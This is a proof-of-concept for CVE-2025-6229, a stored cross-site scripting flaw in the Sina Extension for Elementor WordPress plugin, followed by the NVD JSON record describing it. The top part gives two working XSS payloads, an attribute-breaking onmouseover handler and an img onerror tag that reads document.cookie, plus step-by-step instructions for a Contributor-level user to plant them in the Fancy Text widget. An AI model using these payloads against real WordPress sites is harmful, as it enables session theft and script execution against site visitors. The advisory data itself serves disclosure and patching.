CVE-2025-6229

// PoC for CVE-2025-6229 // Target: Fancy Text Widget or Countdown Widget DOM attributes // Payload 1: Injecting into a text attribute that is reflected without quotes " onmouseover="alert('XSS_CVE-2025-6229') // Payload 2: Generic script injection if allowed <img src=x onerror=alert(document.cookie)> // Steps: // 1. Login as a Contributor user. // 2. Create a new Page and edit with Elementor. // 3. Drag the 'Fancy Text' widget to the page. // 4. In the widget settings, locate a field that maps to a DOM attribute (e.g., Title, Custom CSS ID/Class). // 5. Input the payload. // 6. Update/Publish the page. // 7. Visit the page to trigger the XSS.

{"cve": {"id": "CVE-2025-6229", "sourceIdentifier": "[email protected]", "published": "2026-03-23T07:16:05.237", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sina Extension for Elementor (Header Builder, Footer Builter, Theme Builder, Slider, Gallery, Form, Modal, Data Table Free Elementor Widgets & Elementor Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `Fancy Text Widget` And `Countdown Widget` DOM attributes in all versions up to, and including, 3.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "La extensión Sina para Elementor (Header Builder, Footer Builder, Theme Builder, Slider, Gallery, Form, Modal, Data Table Free Elementor Widgets &amp; Elementor Templates) plugin para WordPress es vulnerable a cross-site scripting almacenado a través de los atributos DOM 'Fancy Text Widget' y 'Countdown Widget' en todas las versiones hasta la 3.7.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sina-extension-for-elementor/tags/3.7.0/assets/js/sina-widgets.js", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/78b444a2-e5d7-4c3a-86a4-c215c54687a2?source=cve", "source": "[email protected]"}]}}